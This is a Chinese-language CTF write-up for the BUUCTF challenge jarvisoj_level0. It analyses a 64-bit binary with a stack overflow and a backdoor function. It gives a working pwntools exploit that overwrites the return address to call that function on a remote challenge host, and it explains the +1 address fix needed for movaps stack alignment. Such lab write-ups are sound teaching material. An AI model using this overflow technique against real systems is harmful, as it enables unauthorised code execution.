BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
Micr06715 小时前
利用Werkzeug-Debug实现本地权限提升
python·web安全·网络安全
Chockmans16 小时前
春秋云境CVE-2021-34257
安全·web安全·网络安全·php·网络攻击模型·春秋云境·cve-2021-34257
oi..21 小时前
SRC 实战复盘:SSRF 漏洞挖掘、自动化检测及流量插件优化(含Burp suite 25.1.2文件)
笔记·web安全·网络安全·自动化·系统安全·安全架构
捉鸭子1 天前
海关总署瑞数vmp算法还原
python·网络安全·node.js·网络爬虫
其实防守也摸鱼1 天前
集成开发环境phpStudy安装与配置指南(包含DVWA)
网络·安全·php·web·ctf·工具配置
大方子1 天前
【青少年CTF S1·2026 公益赛】答案之书
网络安全·青少年ctf
星依网络1 天前
文件上传漏洞绕过技巧 - 实战详解
web安全·网络安全
Chengbei111 天前
OneScan二开升级,bypass防重放递归目录扫描+指纹识别Burp插件
安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
视觉&物联智能1 天前
【杂谈】-筑牢企业防线:抵御恶意人工智能代理的攻击
人工智能·网络安全·ai·企业安全·agi
C2H5OH2 天前
PortSwigger SQL注入LAB2
网络安全